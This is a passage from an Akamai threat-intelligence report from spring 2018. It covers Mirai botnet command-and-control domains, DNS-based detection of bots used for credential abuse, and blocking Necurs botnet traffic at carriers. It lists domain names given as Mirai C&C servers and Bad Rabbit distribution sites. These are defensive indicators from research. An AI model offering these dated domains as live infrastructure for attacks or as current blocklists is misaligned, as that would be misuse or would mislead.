The final part of the exercise was to enrich the Mirai C&C dataset with our new findings. This was achieved by analyzing different domains queried by the Mirai bots around the same time they queried the Mirai C&C domains. There was once again strong correlation between the additional domains. This indicates these nodes belong to the same botnet, and were controlled by the same bot herder. Here are some top additional correlated domains, as of early February 2018:

- websgramly.com
- www.techkafa.net
- arthurdenniswilliams.com
- binarycousins.com
- www.fastfwd.ru
- sss.snicker.ir
- briandeweese.org
- mpc.cn
- moan.mpc.cn
- xploramail.com

One interesting point about these additional domains that were not detected in the honeypots, is that many of them are known to distribute the Bad Rabbit ransomware. The Bad Rabbit malware is believed to have been created by the same group that brought us Petya and therefore considered to be a variant of the Petya ransomware10.

This dual Mirai C&C-Bad Rabbit usage by the same bots makes us wonder about the evolution of IoT botnets. Where the nearly exclusive activity of Mirai had been launching DDoS attacks until recently, it now appears the malware used to compromise IoT devices is evolving for more sophisticated activities such as ransomware distribution or crypto-mining. So not only do more IoT devices get infected, there are more malicious activities they can perform once infected.

An IoT device infected with Mirai provides the user with very little visibility or indication of compromise, yet it is as malicious as any other device.”

---

10 [https://www.riskiq.com/blog/labs/badrabbit/]
Fig. 18  Mirai C&C correlation at 1/23/2018 21:00

ccc.snicker.ir.,1

suckmyass1983.ddns.net.,1

0x01.nexusiotsolutions.net.,1

rootyi.site.,1

snicker.ir.,1

bigboatzareppin.hopto.org.,1

nexusaquariums.ir.,1

nullstress.pw.,1

deathlives.ddns.net.,1

picesboats.club.,1

https://www.riskiq.com/blog/labs/badrabbit/
A recent Akamai research presented an analysis of such automated credentials abuse, identifying 8.3 billion malicious login attempts in November-December 2017.

Automated credential abuse

Credential abuse or credential stuffing is a type of cyberattack where stolen account credentials are used to gain unauthorized access to user accounts through large-scale automated login requests directed against a web application. These credentials typically consist of lists of usernames and/or email addresses, and the corresponding passwords, passed around the Internet. Credential abuse may not have existed at the dawn of the Internet, but it’s almost a certainty that it came into being soon after. The novelty in present-day credential abuse is the automation of the process, which allows attackers to scale this type of cyberattack, and force us, the defenders, to modify our defense tactics.

In the Q4 2017 State of the Internet Report, Akamai presented an analysis of such automated credential abuse. The report identified 8.3 billion malicious login attempts between November and December 2017, with heavy focus on the Retail, Hospitality, and High Tech verticals. The methodology applied in that research was to detect IP addresses (bots) based on their header information and login attempt pattern over time, with special attention to IP addresses with no prior login history with the target site. These login attempts were either concentrated in a short period of time, or distributed across a longer period with lower volume of login attempts per day.

As is the case in many organizations, different parts of Akamai were able to view the traffic generated by Mirai in a variety of ways. Collaborating within the organization allowed us to bring different sets of data together for a fuller view. Our question: Was there anything else that could be learned from the data?

While DNS data does not include information such as user-agent or html code, tracking bots in this data is still feasible and valuable. Our methodology assumes that bots are

1. IPs that make a high volume of queries to malicious domains, and in most cases,
2. IPs that generate a fast, non-humanly possible average speed of DNS queries.

Many bots would query malicious domains associated with multiple types of threats. The reason behind this assumption is that, in most cases, a device that is infected with one type of malware already has some vulnerability that opens the door for additional malware infections. Moreover, a malicious bot, by definition, belongs to a botnet. A botnet has a master, who directs the botnet’s (and the bots’) activity and, in an attempt to gain a better ROI, the master diversifies the activity of the botnet to serve multiple malware programs.

Interesting questions that can be answered based on DNS data include: What kind of bots were involved in the credential abuse scheme? and What specific malware was present on an abusive device at the time of the login attempt?

Experiment

We selected seven of the most abused sites, as identified by the Akamai research. These sites included a Hospitality service, a Sports Over the Top (OTT) service, an Airline website, a Home Improvement shopping website, a Beauty Products shopping website, a Video Content platform, and a large international B2C website. Gaining access to these platforms and services would allow hackers to obtain confidential information of users, manipulate payment accounts, steal goods, etc.

After selecting these sites, we identified the IP addresses that queried the specific login subdomain of each of them, based on a subset of our customers’ data, over a single day. The results showed that 81,619 unique IPs had at least a single query to the login subdomains. Since we assumed that the vast majority of these queries were legitimate and came from non-bot devices, we continued the analysis by applying the bot identification criteria described earlier.

Results

Out of the 81,619 IPs, 17,611 (about 22%) passed the bot test, meaning they had activity to additional malicious domains, malicious activity to domains associated with more than one threat type, and a high query rate. This suggests that the traffic was machine driven. When we calculated the number of queries from these bots to the six abused sites, we found that 25% of the overall traffic was generated by the bots. Both the bot rate and the bot-generated query rate indicated that automated credential abuse in the tested sites was a significant problem.

Our next step was to select the most active 500 bots (for display convenience) and analyze which specific malware gestated in them at the time of the credential abuse attack.

Fig. 19

Percentage of top 500 bots by abused domain
Figure 19 shows what percentage of the total 500 bots we selected targeted the sites we analyzed. The most notable finding is that both the Sports OTT site and Hospitality service site were attacked by a very significant percentage of the bots (91% and 88% of them). This might indicate that the malware that generates the attacks has both of them on the top of its target list and that it is a single malware program, working from a shared infrastructure of bots, which launches these attacks.

Figure 20 and 21 demonstrate the prevalence of multiple threat types on each one of the identified bots. While 9% of the bots only suffered from a single infection, the remaining 91% suffered 2 to 16 different types of infection.

Figure 21 shows the cumulative percentage of bots by number of threat types detected on each bot (500 bot is the 100%). Over 50% of the bots had at least nine different infections by the time they made their credential abuse query.

**Threats distribution**

There were a total of 36 unique threats in the top 500 bots that we looked at. Some of the most prominent ones are described in the next chart, where the bars represent the percentage of bots (out of 500) that the top threats correspond to.

- **Malware call home** domains are found in the binaries of analyzed malware and are used to communicate with the malware creator. This is a generic categorization that doesn’t indicate which specific malware family the malicious domain belongs to.

- **AutoIT** refers to malware written in AutoIT, a scripting language mainly used for Windows administration. These scripts are utilized by different malware types to bypass AV detection on Windows machines, as an example.

- **Spybot** is a botnet created by a diverse family of worms, which allow various malicious actions on Windows computers.

- **Sality** is a family of Windows malware which is used to exfiltrate sensitive user information over the network, among other malicious activities.

Overall, the threat distribution results confirm the presumption that once a device has a single infection—a single backdoor — it is very likely to experience additional infections. The bots in our analysis were used for multiple different malicious purposes, where one of them was credential abuse. This may suggest that web security solutions, which monitor login events, could benefit from obtaining a report about the device that is querying the website. A device with a recent history of infections is more likely to be a bot and perform credential abuse than a device with a clean history.
Fig. 20  Distribution of bots by number of distinct threat types queried

Fig. 21  Cumulative percentage of bots by number of threat types

Fig. 22  Percentage of top 500 bots per threat
Fig. 23 The controls that block C&C traffic offer protection against DDoS, phishing and credential abuse.
Carriers as active players in cloud defense

The proliferation of IoT devices and their vulnerability has created a new reality. Common defenses such as distributing the load across nodes, geographies, and dropping packets may not work against a sufficiently large, coordinated attack. However, because attacks arrive from affected devices located all over the world, served by multiple telecoms, more resources will be required to provide a strong enough defense.

With Nominum’s acquisition and its presence in hundreds of carriers worldwide, and an existing AnswerX DNS resolver, Akamai has an unparalleled footprint among Fortune 500 enterprises and Internet service providers. With Nominum’s caching DNS ability to create synthetic answers or drop requests altogether, several types of DDoS attacks (pseudo-random subdomain attacks and DNS amplification attacks are the most common examples) can be stopped at the source, preventing takedowns of authoritative DNS servers or preventing flooding targets with amplification queries.

However, capabilities of caching servers go beyond limiting DDoS attacks directly. Nominum pioneered a comprehensive strategy of preventing malware to reach its C&C servers. Most malware is now modular, and rootkits often penetrate subscriber computers and IoT devices before a DDoS payload and before the information about the target arrives. By stopping the ability of a rootkit to download the payload, we can significantly limit the DDoS capabilities of the networks protected by a combination of CacheServe and ThreatAvert.
However, capabilities of caching servers go beyond limiting DDoS attacks directly. Nominum pioneered a comprehensive strategy of preventing malware to reach its C&C servers. Most malware is now modular, and rootkits often penetrate subscriber computers and IoT devices before a DDoS payload and before the information about the target arrives. By stopping the ability of a rootkit to download the payload, we can significantly limit the DDoS capabilities of the networks protected by a combination of CacheServe and ThreatAvert.

A good example of the mitigation capabilities from the network side is Necurs. The Necurs botnet is used for distributing a variety of different malware payloads. Examples of such payloads include Locky (our research produced an effective algorithm blocking Locky C&C\textsuperscript{13}) and UDP Flood Attack Mode (reverse engineering was performed by AnubisNetworks\textsuperscript{14}).

Our DGA detection has predictive coverage of Necurs, so we are able to block DNS resolution attempts of Necurs’ bots to download this or another payload. The data shows that between September 2017 and February 2018 in our sample stream we saw 12 million Necurs queries on average from 2,800 infected machines.”

\textsuperscript{13} https://blogs.akamai.com/sitr/2017/05/the-comings-and-goings-and-comings-of-locky.html

\textsuperscript{14} https://blog.anubisnetworks.com/blog/necurs-proxy-module-with-ddos-features?hs_preview=qrtxAuUY-4862144940
The data in the AnubisNetworks analysis mentions that up to 1 million devices are affected by Necurs, and that a single DDoS module is able to produce a continuous stream of UDP packets between 128 and 1,024 bytes. If each device can produce 500 kbit of DDoS traffic, the potential power of the Necurs network can amount to 0.5 Tbit per second (about a third of the recent most powerful attack to date — 1.7 Tbit). That’s a strong enough attack to bring down all but the most powerful and well-protected website targets.

This type of attack can be entirely prevented if all telecoms blocked Necurs queries in their networks. This example shows a far-reaching capability of DNS protection, where blocking a DNS-based C&C communication channel of a botnet can prevent a DDoS payload module that attacks via channels other than DNS.

Another effect, which we explored in our previous report, was the immunization of the networks. Preventing phishing and malware downloads using DNS blocking reduces the infection levels and the reach of the original infections, thus reducing DDoS in the future.

The three-pronged strategy described here — securing cloud assets, blocking DDoS attacks at the Internet service provider side, and continuously keeping residential networks clean from phishing and malware — may finally tip the balance to the side of cyber-defenders.

This attack can be entirely prevented if all telecoms blocked Necurs queries in their networks.”
CONCLUSION

What’s Next

If we step back and look at the different topics covered in this report, it becomes clearer that machine and human collaboration is the key to weathering the present-day cyberstorm. A solitary solution can't stop a threat like Mirai based only on endpoint signals; it requires signaling from the network as well. Detecting and blocking automated credential abuse can become more efficient as historical information about a specific bot is combined with data collected from current transactions. Data shared between phone manufacturers, mobile security companies, and network security companies can help in detecting and blocking the next wave of malicious apps, before millions of users are affected.

In this report, we demonstrate how the cyber-threats around us grow and become more sophisticated. At the same time, we highlight how collaboration between security professionals and data sources can be effectively used to counter those threats.

The report also identified several specific tendencies that we expect to grow into mainstream threats:

**Mobile devices to support more complicated attacks:** As demonstrated by the Loapi Trojan, compromised mobile devices are now being used for more than basic DDoS attacks. Focusing on DDoS attacks, which utilize a very limited set of capabilities of a mobile device, made sense as long as these devices had limited performance, features, and battery power. With the continuous improvements in mobile device technologies, attackers now see the potential for better exploits and more advanced attacks that take advantage of these enhancements. The fact that certain mobile OS are still relatively young and more vulnerable makes certain devices an even more enticing target for attackers.

Given the continuous growth in the number of mobile devices and the improvements in their technologies, it is reasonable to estimate that attackers will put even more focus on this fertile ground for cyberattacks. This is still very much an untapped resource and a relatively uncontested market space for attackers, with less competition and potential for a higher return on investment.”
Social networks access becomes more valuable to attackers: Social networks are not a new phenomenon, and people exposing their personal information online with their friends, disregarding privacy concerns, has been a topic for many research papers. Yet, the recent development of Trojans such as Terdot tells us that attackers now see a way to monetize hacking social network accounts (and not just for playing practical jokes...). Hacked social network accounts can be used as 1.) an alternative for phishing emails (getting unsuspicious “friends” to click on malicious links), 2.) for espionage on people or organizations of interest (and there are states and organizations willing to pay for that), and 3.) for promoting ‘unsubstantiated news’ to affect people’s opinions on certain topics (and again, there are organizations that will pay for that).

Internet economy and the search for alternative monetization models: While this prediction sounds less relevant to security, new monetization models, as described in our report, tend to affect the individual user’s security. JS miner technology could be used by mainstream sites as an alternative model to advertisements; however, it opens a backdoor for malicious activities on the user’s device. If this is the case, why do websites still pursue Bitcoin mining as a way to earn money? Two prominent reasons are ad blockers and ad fraud: Nearly 25% of US users deploy ad blockers, and by doing so reduce a website’s advertisement returns by approximately the same percentage. Ad fraud is an Internet-wide epidemic that challenges the entire online ads model — if non-human “click bots” generate an estimated 33% of the traffic to an online ad, advertisers are going to reevaluate the effectiveness of their online ad campaigns — and that, in turn, would affect the bottom line of websites displaying the ads. And so alternative monetization models might be needed, yet the security risks they bring with them should be evaluated.

No matter how you look at it, the more we put our lives online, the more hackable our lives become. And this amplifies our role, as security professionals, to be the protectors of modern life, and to do so by collaborating, sharing, and taking care of the greater good.
About Akamai

Akamai, the world’s largest and most trusted cloud delivery platform, uses its globally distributed Akamai Intelligent Platform™ to process trillions of Internet transactions each day. This allows us to gather massive amounts of data on metrics related to broadband connectivity, cloud security, and media delivery. The State of the Internet report was created to enable businesses and governments to make better strategic decisions by leveraging this data and the insights it offers. Akamai publishes State of the Internet reports based on this data, with a focus on broadband connectivity and cloud security.

The State of the Internet / Security : Carrier Insights, Spring 2018 report focuses on DNS data from Akamai’s global infrastructure and represents the research of a diverse set of teams from around the globe.